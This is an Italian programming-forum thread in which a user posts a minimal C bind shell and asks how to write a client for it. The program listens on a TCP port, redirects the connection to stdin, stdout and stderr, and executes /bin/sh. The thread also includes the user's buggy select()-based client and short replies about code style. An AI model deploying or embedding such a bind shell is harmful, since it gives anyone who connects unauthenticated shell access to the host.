Torna indietro   Hardware Upgrade Forum > Software > Programmazione

NVIDIA RTX Spark: il PC Windows on ARM costruito per l'IA agentica
NVIDIA RTX Spark: il PC Windows on ARM costruito per l'IA agentica
Debuttano ufficialmente i primi sistemi notebook basati su piattaforma NVIDIA RTX Spark, abbinati a Windows on ARM e pensati per l'intelligenza artificiale agentica. Architettura integrata tra CPU e GPU che condividono la memoria di sistema, capace di gestire in locale modelli molto grandi ma al contempo anche di spiccare con la grafica e l'elaborazione
Motorola razr fold, dalla conchiglia al formato a libro. La recensione
Motorola razr fold, dalla conchiglia al formato a libro. La recensione
Abbiamo provato Motorola razr fold, il pieghevole a libro con display interno LTPO da 8,09 pollici, Snapdragon 8 Gen 5 e batteria da 6000 mAh in 243 grammi. Pennino e custodia sopno già nella confezione, per un foldable che si caratterizza per il pannello luminoso, l'autonomia ottima per la categoria e le fotocamere coerenti e ben sfruttabili. Il listino è di 1999 euro, ma in vendita si trova già a molto meno
Recensione Google Pixel Watch 5: sembra lo stesso, ma al polso la differenza si sente
Recensione Google Pixel Watch 5: sembra lo stesso, ma al polso la differenza si sente
Google Pixel Watch 5 ha affinato una formula già convincente con hardware più veloce, Gemini offline e nuovi strumenti per sport e benessere. Abbiamo provato la versione LTE da 41 mm, comoda anche di notte e ben proporzionata sui polsi piccoli. Il design resta un punto di forza, ma l'autonomia premia ancora il 45 mm e alcune funzioni AI non sono disponibili in Italia: ecco che cosa cambia rispetto a Watch 4 e quale formato conviene scegliere oggi
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 10-02-2010, 13:56   #1
Teo@Unix
Senior Member
 
L'Avatar di Teo@Unix
 
Iscritto dal: Mar 2009
Messaggi: 753
[C] linux socket

Partendo dal codice seguente:

Codice:
#include <sys/socket.h>
#include <netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
	if(fork()==0)						
	{
		serv_addr.sin_family=2;
		serv_addr.sin_addr.s_addr=0;
		serv_addr.sin_port=0xAAAA;
		soc=socket(2,1,6);				
		bind(soc,(struct sockaddr *)&serv_addr,0x10);	
		listen(soc,1);					
		cli=accept(soc,0,0);				
		dup2(cli,0);					
		dup2(cli,1);
		dup2(cli,2);
		execve("/bin/sh",0,0);			
	}
}
come lo scrivo un client per questo?
Ho provato con lo schema classico utilizzando select() in un while(1) più recv e send per leggere dal socket o scriverci, solito insomma... però così credo non vada bene....con recv e send ottengo:
read: Socket operation on non-socket
e se uso write e read.... non ottengo risposta..mmm non so che provare

grazie!

EDIT: O meglio il programma suddetto si termina.....

Ultima modifica di Teo@Unix : 10-02-2010 alle 14:02.
Teo@Unix è offline   Rispondi citando il messaggio o parte di esso
Old 10-02-2010, 20:13   #2
fero86
Senior Member
 
Iscritto dal: Oct 2006
Città: Roma
Messaggi: 1383
perché non usi le costanti simboliche?
cosi il codice é illeggibile.

comunque posta il codice del client: non ti si puó dire il problema del client leggendo il codice del server

PS: e controlla i valori di ritorno delle funzioni.
fero86 è offline   Rispondi citando il messaggio o parte di esso
Old 10-02-2010, 20:43   #3
Teo@Unix
Senior Member
 
L'Avatar di Teo@Unix
 
Iscritto dal: Mar 2009
Messaggi: 753
si allora, quel che domando è ... se scrivo un client in stile telnet funziona con questo tipo di programma? Chiedo perchè non ho mai provato a connettermi a /bin/sh in ascolo su un socket.....

per quanto riguarda lo stile del programma, che giustamente hai notato, è perchè la lunghezza del codice deve essere il più breve possibile .... quindi tralascio tutto il tralasciabile

tornando al client non so, ne ho scritto oggi uno velocemente e a parte dire se è giusto il codice ..... vorrei sapere con certezza se connettersi a /bin/sh in ascolto su un socket è uguale a connettersi ad un programma tipo telnetd o simile.... (tralasciando le negoziazioni che fanno) ....

per esempio un client del genere (come stile) può connettersi al programma suddetto?:

Codice:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/select.h>
#include <unistd.h>
#include <netdb.h>

//MACROs:
#define MAX(a,b) ((a)>(b)?(a):(b))

// functions prototypes:
int create_sockshell(struct sockaddr*,int); //Return a connected socket

int main(int argc, char *argv[])
{
	struct sockaddr_in myaddr;
	struct hostent* he;
	int maxfd;
	char send_buffer[2048], recv_buffer[2048], *host = argv[1];
	fd_set rset;
	
	//  **** Resolving Hostname **********************
	if((he = gethostbyname(host)) == NULL) {
		perror("gethostbyname");
		exit(-1);
	}
	// ************************************************
	
	myaddr.sin_family = AF_INET;
	myaddr.sin_addr = *((struct in_addr *)he->h_addr);
	myaddr.sin_port = 0xAAAA;
	
	int sock = create_sockshell((struct sockaddr *)&myaddr,sizeof(myaddr));

	while(1)
	{
		FD_ZERO(&rset);
		FD_SET(STDIN_FILENO,&rset);
		FD_SET(sock,&rset);
		maxfd = MAX(STDIN_FILENO,sock)+1;
		select(maxfd,&rset,NULL,NULL,NULL);
		if(FD_ISSET(sock,&rset))
		{
			memset(recv_buffer,0,sizeof(recv_buffer));
			if(recv(sock,recv_buffer,sizeof(recv_buffer),0) <= 0)
			{
				perror("read");
				exit(-1);
			}
			else
				printf("%s",recv_buffer);
		}
		if(FD_ISSET(STDIN_FILENO,&rset))
		{
			memset(send_buffer,0,sizeof(send_buffer));
			read(STDIN_FILENO,send_buffer,sizeof(send_buffer));
			if(send(sock,send_buffer,sizeof(send_buffer),0) <= 0)
			{	
				perror("write");
				exit(-1);
			}
		}
	}
}

int
create_sockshell(struct sockaddr* sa, int sockaddr_len)
{
	int sock,fd;
	sock = socket(AF_INET,SOCK_STREAM,0);
	if(sock <= 0) {perror("socket"); exit(-1);}
	if(fd = connect(sock,sa,sockaddr_len) == -1)
	{
		perror("connect");
		exit(-1);
	}
	return(fd);
}
EDIT:
ho trovato un esempio che usa read e gets... e come stile il mio dovrebbe essere corretto... mo provo... magari è solo un errore che ho commesso nel client che ho scritto

Ultima modifica di Teo@Unix : 10-02-2010 alle 20:58.
Teo@Unix è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


NVIDIA RTX Spark: il PC Windows on ARM costruito per l'IA agentica NVIDIA RTX Spark: il PC Windows on ARM costruito...
Motorola razr fold, dalla conchiglia al formato a libro. La recensione Motorola razr fold, dalla conchiglia al formato ...
Recensione Google Pixel Watch 5: sembra lo stesso, ma al polso la differenza si sente Recensione Google Pixel Watch 5: sembra lo stess...
Nokia Innovation Day 2026: la sovranità europea passa dal mercato unico e dai laboratori italiani del gruppo Nokia Innovation Day 2026: la sovranità e...
In sella alla Fiido Nomads Pro: e-bike con motore centrale da 100 Nm per il divertimento a 360 gradi In sella alla Fiido Nomads Pro: e-bike con motor...
Windows 11 più veloce e meno affa...
Un computer quantistico da 4.400 qubit s...
DeLorean entra nelle gare di auto volant...
Non buttare il tuo vecchio smartphone: l...
GTA VI, manca sempre meno al lancio: Roc...
Honor prepara il suo primo pieghevole la...
Starshield torna operativo per le forze ...
La NASA porta le batterie allo stato sol...
Finto mining di criptovalute: 200 vittim...
AI sul PC senza passare dal cloud, come ...
ASUS aggiorna la sua gamma di monitor da...
Android potrà spegnere e riavviare il PC...
Quale capienza di micro SD è la p...
TSMC valuta il Texas per nuove fab, trat...
YouTube Music introduce nuove etichette ...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 05:51.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
Served by www3v